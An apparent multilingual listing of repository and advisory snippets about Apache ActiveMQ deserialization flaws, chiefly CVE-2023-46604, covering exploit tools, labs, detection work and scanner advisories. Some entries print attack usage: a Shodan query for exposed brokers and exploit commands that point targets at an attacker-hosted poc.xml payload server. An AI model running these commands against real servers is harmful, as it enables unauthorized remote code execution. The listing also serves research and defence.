CVE-2023-46604-RCE

CVE-2023-46604-RCE الثغرة ثغرة إلغاء تسلسل البيانات في مفكك ترميز النقل OpenWire في Apache ActiveMQ. الإصدارات المتأثرة تشمل 5.18.0 حتى 5.18.2، و5.17.0 حتى 5.17.5، و5.16.0 حتى 5.16.6، وجميع الإصدارات قبل 5.15.16. الإعداد غيّر القيم داخل POC.XML حسب احتياجاتك الأمر الخاص بك استضف ملف POC.XML مرّر...

CVE-2015-5254

CVE-2015-5254 ActiveMQ إلغاء التسلسل RCE 0x01 تأكد من أن المنفذ 61616 مفتوح nmap -p 61616 -Pn -T5 -n -sC -sV 10.10.20.166 root@kali: nmap -p 61616 -Pn -T5 -n -sC -sV 10.10.20.166 Starting Nmap 7.70 https://nmap.org at 2019-08-30 02:05 EDT Nmap scan report for 10.10.20.166 Host is up 0.00022s...

CVE-2023-46604

CVE-2023-46604 استغلال لـ CVE-2023-46604 تساعد هذه الأداة في استغلال هذه الثغرة. استعلام Shodan للعثور على الهدف: product:"ActiveMQ" port:"61616" استخدام الأداة: لقراءة الأهداف من الملف: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- هدف واحد: python3 exploit.py -ip IP -c...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE Pseudoshell يستغل هذا السكربت CVE-2023-46604 Apache ActiveMQ لإنشاء قشرة شبه تفاعلية. تسمح الثغرة بتنفيذ الأوامر عن بعد نتيجة لإلغاء التسلسل غير الآمن في بروتوكول OpenWire. الوصف CVE-2023-46604 هي ثغرة في إلغاء التسلسل موجودة في بروتوكول OpenWire الخاص بـ Apache ActiveMQ. يمكن...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Référence du projet Ce projet est une réécriture en python de l'exp du projet https://github.com/X1r0z/ActiveMQ-RCE . Utilisation python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Le paramètre -p est par défaut le port par défaut d'activeMQ. Le paramètre -x...

CVE-2025-27533-Exploit-for-Apache-ActiveMQ

CVE-2025-27533-Exploit-for-Apache-ActiveMQ PoC exploit for CVE-2025-27533 , a Denial of Service DoS vulnerability in Apache ActiveMQ. This tool sends malicious OpenWire packets to exhaust the JVM heap memory of the target server, and potentially crashing the ActiveMQ service on port 61616. USE...

CVE-2023-46604

CVE-2023-46604 This repository contains an exploit script and a Proof of Concept PoC XML file for the CVE-2023-46604 vulnerability affecting Apache ActiveMQ. The vulnerability allows for remote code execution due to unsafe deserialization practices within the OpenWire protocol. Description...

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-Investigation OpenWire Lab During my shift as a Tier 2 Security Operations Center SOC Analyst, I received an escalation from a Tier 1 analyst regarding a publicly accessible server that had been observed communicating with multiple suspicious external IP addresses. In...

Wireshark 1.10.x < 1.10.3 Multiple Vulnerabilities (macOS)

The version of Wireshark installed on the remote macOS / Mac OS X host is prior to 1.10.3. It is, therefore, affected by multiple vulnerabilities as referenced in the wireshark-1.10.3 advisory. - epan/dissectors/packet-tcp.c in the TCP dissector in Wireshark 1.8.x before 1.8.11 and 1.10.x before...

Exploit for Deserialization of Untrusted Data in Apache Activemq

ActiveMQ OpenWire Deserialization RCE CVE-2023-46604 Vulhu...

CVE-2023-46604

Resumen Técnico del Ataque: CVE-2023-46604 يستغل السكربت ثغرة إلغاء التسلسل غير الآمن في Apache ActiveMQ CVE-2023-46604 لتحقيق تنفيذ التعليمات البرمجية عن بُعد على الخادم المستهدف. وصف عملية الاستغلال هدف الثغرة الأمنية: تكمن الثغرة في بروتوكول OpenWire الخاص بـ Apache ActiveMQ. تسمح بإلغاء تسلسل...

CVE-2023-46604-LAB

CVE-2023-46604 – Apache ActiveMQ RCE OpenWire Protocol يوثق هذا المستودع بيئة مختبر تُستخدم لفهم واكتشاف الثغرة CVE-2023-46604 التي تؤثر على Apache ActiveMQ. هدف هذا المشروع: فهم سلوك الاستغلال على مستوى البروتوكول التقاط حركة مرور OpenWire الخبيثة بناء قواعد اكتشاف باستخدام Suricata توثيق الخطوا...

Wireshark 1.8.x < 1.8.11 Multiple Vulnerabilities (macOS)

The version of Wireshark installed on the remote macOS / Mac OS X host is prior to 1.8.11. It is, therefore, affected by multiple vulnerabilities as referenced in the wireshark-1.8.11 advisory. - epan/dissectors/packet-tcp.c in the TCP dissector in Wireshark 1.8.x before 1.8.11 and 1.10.x before...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-466064 إخلاء مسؤولية يحتوي هذا المستودع على كود إثبات المفهوم لثغرة CVE-2023-466064 وهو مخصص لأغراض تعليمية فقط. لا يؤيد المؤلفون أو المساهمون أي نشاط غير قانوني. المعلومات الواردة هنا لأغراض أكاديمية وبحوث أمنية واختبارية، ولحل جهاز Broker الحالي من HackTheBox. باستخدامك...

ActiveMQ-CVE-2023-46604

Validateur sûr CVE-2023-46604 ActiveMQ Un validateur non destructif, en un seul fichier, pour Apache ActiveMQ CVE-2023-46604. Il démarre son propre serveur de rappel HTTP, génère en mémoire un XML Spring spécifique à la cible, envoie le paquet OpenWire forgé, corrèle les rappels avec des jetons...

CVE-2023-46604-Analysis

تحليل CVE-2023-46604 مستودع تحليل تقني يوثّق سبب ثغرة Apache ActiveMQ CVE-2023-46604، ومسار الكود، ونقاط التصحيح، ونتائج إعادة الإنتاج. هذه الوثيقة مادة تعليمية من منظور التحليل الفني والدفاعي حول الثغرة العامة CVE-2023-46604. أُجريت جميع التجارب في بيئة اختبار مغلقة ومعتمدة فقط، وقد يكون تطبيق ه...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 نظرة عامة على Apache ActiveMQ وOpenWire يُعد ActiveMQ خادم رسائل مفتوح المصدر وأنماط تكامل Messaging and Integration Patterns، حيث يتضمن وسيطًا Broker مع عملاء يدعمون JMS، ويتيح الاتصال بين الأنظمة التي تستخدم لغات متعددة بالإضافة إلى جافا. كما يحاف...

Apache Artemis 1.0.0 < 2.45.0 / 2.50.0 < 2.57.0 Multiple Vulnerabilities

The version of Apache Artemis formerly Apache ActiveMQ Artemis installed on the remote host is affected by multiple vulnerabilities: - An unauthenticated remote attacker can craft a CORE protocol SESSIONREATTACH packet to steal an existing session and assume ongoing execution of the previously...

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...